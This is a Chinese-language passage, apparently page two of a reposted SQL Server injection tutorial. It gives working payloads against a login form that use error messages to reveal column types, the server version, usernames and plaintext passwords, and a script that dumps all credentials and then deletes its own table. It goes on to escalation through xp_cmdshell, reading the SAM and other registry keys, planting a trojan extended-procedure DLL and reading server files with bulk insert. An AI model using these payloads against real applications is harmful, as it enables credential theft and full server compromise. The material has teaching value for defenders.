能够确定每个列的类型是非常有用的。这可以通过使用类型转化来实现，例如：
Username：‘ union select sum(username) from users—
这利用了SQLSERVER在确定两个结果集的字段是否相等前应用sum子句。尝试去计算sum会得到以下消息：
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07‘
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35
这告诉了我们‘username‘字段的类型是varchar。如果是另一种情况，我们尝试去计算sum()的是数字类型，我们得到的错误消息告诉我们两个集合的字段数量不相等。
Username：‘ union select sum(id) from users—
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14‘
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
/process_login.asp, line 35
我们可以用这种技术近似地确定数据库中任何表中的任何字段的类型。
这样攻击者就可以写一个好的insert查询，例如：
Username：‘;insert into users values(666,‘attacker‘,‘foobar‘,‘0xffff)—
这种技术的潜在影响不仅仅是这些。攻击者可以利用这些错误消息显示环境信息或数据库。通过运行一列一定格式的字符串可以获得标准的错误消息：
select * from master ..sysmessages
解释这些将实现有趣的消息。
一个特别有用的消息关系到类型转化。如果你尝试将一个字符串转化成一个整型数字，那么字符串的所有内容会返回到错误消息中。例如在我们简单的登陆页面中，在username后面会显示出SQLSERVER的版本和所运行的操作系统信息：
Username：‘ union select @@version,1,1,1—
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07‘
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ‘ to a column of data type int.
/process_login.asp, line 35
这句尝试去将内置的‘@@version‘常量转化成一个整型数字，因为users表中的第一列是整型数字。
这种技术可以用来读取数据库中任何表的任何值。自从攻击者对用户名和用户密码比较感兴趣后，他们比较喜欢去从users表中读取用户名，例如：
Username：‘ union select min(username),1,1,1 from users where username>‘a‘—
这句选择users表中username大于‘a‘中的最小值，并试图把它转化成一个整型数字：
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07‘
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ‘admin‘ to a column of data type int.
/process_login.asp, line 35
因此攻击者已经知道用户admin是存在的。这样他就可以重复通过使用where子句和查询到的用户名去寻找下一个用户。
Username：‘ union select min(username),1,1,1 from users where username>‘admin‘—
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07‘
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ‘chris‘ to a column of data type int.
/process_login.asp, line 35
一旦攻击者确定了用户名，他就可以开始收集密码：
Username：‘ union select password,1,1,1 from users where username=‘admin‘—
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07‘
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ‘r00tr0x!‘ to a column of data type int.
/process_login.asp, line 35
一个更高级的技术是将所有用户名和密码连接长一个单独的字符串，然后尝试把它转化成整型数字。这个例子指出：Transavt-SQL语法能够在不改变相同的行的意思的情况下把它们连接起来。下面的脚本将把值连接起来：
begin declare @ret varchar(8000)
set @ret=‘:‘
select @ret=@ret+‘ ‘+username+‘/‘+password from users where
username>@ret
select @ret as ret into foo
end
攻击者使用这个当作用户名登陆（都在一行）
Username: ‘; begin declare @ret varchar(8000) set @ret=‘:‘ select @ret=@ret+‘ ‘+username+‘/‘+password from users where username>@ret select @ret as ret into foo end—
这就创建了一个foo表，里面只有一个单独的列‘ret‘，里面存放着我们得到的用户名和密码的字符串。正常情况下，一个低权限的用户能够在同一个数据库中创建表，或者创建临时数据库。
然后攻击者就可以取得我们要得到的字符串：
Username：‘ union select ret,1,1,1 from foo—
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07‘
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ‘: admin/r00tr0x! guest/guest chris/password fred/sesame‘ to a column of data type int.
/process_login.asp, line 35
然后丢弃（删除）表来清楚脚印：
Username：‘; drop table foo—
这个例子仅仅是这种技术的一个表面的作用。没必要说，如果攻击者能够从数据库中获得足够的错误西，他们的工作就变的无限简单。
获得更高的权限
一旦攻击者控制了数据库，他们就想利用那个权限去获得网络上更高的控制权。这可以通过许多途径来达到：
1. 在数据库服务器上，以SQLSERVER权限利用xp_cmdshell扩展存储过程执行命令。
2. 利用xp_regread扩展存储过程去读注册表的键值，当然包括SAM键（前提是SQLSERVER是以系统权限运行的）
3. 利用其他存储过程去改变服务器
4. 在连接的服务器上执行查询
5. 创建客户扩展存储过程去在SQLSERVER进程中执行溢出代码
6. 使用‘bulk insert‘语法去读服务器上的任意文件
7. 使用bcp在服务器上建立任意的文本格式的文件
8. 使用sp_OACreate,sp_OAMethod和sp_OAGetProperty系统存储过程去创建ActiveX应用程序，使它能做任何ASP脚本可以做的事情
这些只列举了非常普通的可能攻击方法的少量，攻击者很可能使用其它方法。我们介绍收集到的攻击关于SQL服务器的明显攻击方法，为了说明哪方面可能并被授予权限去注入SQL.。我们将依次处理以上提到的各种方法：
[xp_cmdshell]
许多存储过程被创建在SQLSERVER中，执行各种各样的功能，例如发送电子邮件和与注册表交互。
Xp_cmdshell是一个允许执行任意的命令行命令的内置的存储过程。例如：
Exec master..xp_cmdshell ‘dir‘
将获得SQLSERVER进程的当前工作目录中的目录列表。
Exec master..xp_cmdshell ‘net user‘
将提供服务器上所有用户的列表。当SQLSERVER正常以系统帐户或域帐户运行时，攻击者可以做出更严重的危害。
[xp_regread]
另一个有用的内置存储过程是xp_regXXXX类的函数集合。
Xp_regaddmultistring
Xp_regdeletekey
Xp_regdeletevalue
Xp_regenumkeys
Xp_regenumvalues
Xp_regread
Xp_regremovemultistring
Xp_regwrite
这些函数的使用方法举例如下：
exec xp_regread HKEY_LOCAL_MACHINE,‘SYSTEM\CurrentControlSet\Services\lanmanserver\parameters‘, ‘nullsessionshares‘
这将确定什么样的会话连接在服务器上是可以使用的
exec xp_regenumvalues HKEY_LOCAL_MACHINE,‘SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities‘
这将显示服务器上所有SNMP团体配置。在SNMP团体很少被更改和在许多主机间共享的情况下，有了这些信息，攻击者或许会重新配置同一网络中的网络设备。
这很容易想象到一个攻击者可以利用这些函数读取SAM，修改系统服务的配置，使它下次机器重启时启动，或在下次任何用户登陆时执行一条任意的命令。
[其他存储过程]
xp_servicecontrol过程允许用户启动，停止，暂停和继续服务：
exec master..xp_servicecontrol ‘start‘,‘schedule‘
exec master..xp_servicecontrol ‘start‘,‘server‘
下表中列出了少量的其他有用的存储过程：
Xp_availablemedia 显示机器上有用的驱动器
Xp_dirtree 允许获得一个目录树
Xp_enumdsn 列举服务器上的ODBC数据源
Xp_loginconfig Reveals information about the security mode of the server
Xp_makecab 允许用户在服务器上创建一个压缩文件
Xp_ntsec_enumdomains 列举服务器可以进入的域
Xp_terminate_process 提供进程的进程ID，终止此进程
[Linked Servers]
SQL SERVER提供了一种允许服务器连接的机制，也就是说允许一台数据库服务器上的查询能够操作另一台服务器上的数据。这个链接存放在master.sysservers表中。如果一个连接的服务器已经被设置成使用‘sp_addlinkedsrvlogin‘过程，当前可信的连接不用登陆就可以访问到服务器。‘openquery‘函数允许查询脱离服务器也可以执行。
[Custom extended stored procedures]
扩展存储过程应用程序接口是相当简单的，创建一个携带恶意代码的扩展存储过程动态连接库是一个相当简单的任务。使用命令行有几个方法可以上传动态连接库到SQL服务器上，还有其它包括了多种自动通讯的通讯机制，比如HTTP下载和FTP脚本。
一旦动态连接库文件在机器上运行即SQL服务器能够被访问——这不需要它自己是SQL服务器——攻击者就能够使用下面的命令添加扩展存储过程（这种情况下，我们的恶意存储过程就是一个能输出服务器的系统文件的小的木马）：
Sp_addextendedproc ‘xp_webserver‘,‘c:\temp\xp_foo.dll‘
在正常的方式下，这个扩展存储过程可以被运行：
exec xp_webserver
一旦这个程序被运行，可以使用下面的方法将它除去：
xp_dropextendedproc ‘xp_webserver‘
[将文本文件导入表]
使用‘bulk insert‘语法可以将一个文本文件插入到一个临时表中。简单地创建这个表：
create table foo( line varchar(8000) )
然后执行bulk insert操作把文件中的数据插入到表中，如：
bulk insert foo from ‘c:\inetpub\wwwroot\process_login.asp‘
可以使用上述的错误消息技术，或者使用‘union‘选择，使文本文件中的数据与应用程序正常返回的数据结合，将数据取回。这个用来获取存放在数据库服务器上的脚本源代码或者ASP脚本代码是非常有用的。
.
分页: [1] [2] [3]
- 上一篇:用Windows系统控制台删除病毒文件
- 下一篇:黄山IE修复专家介绍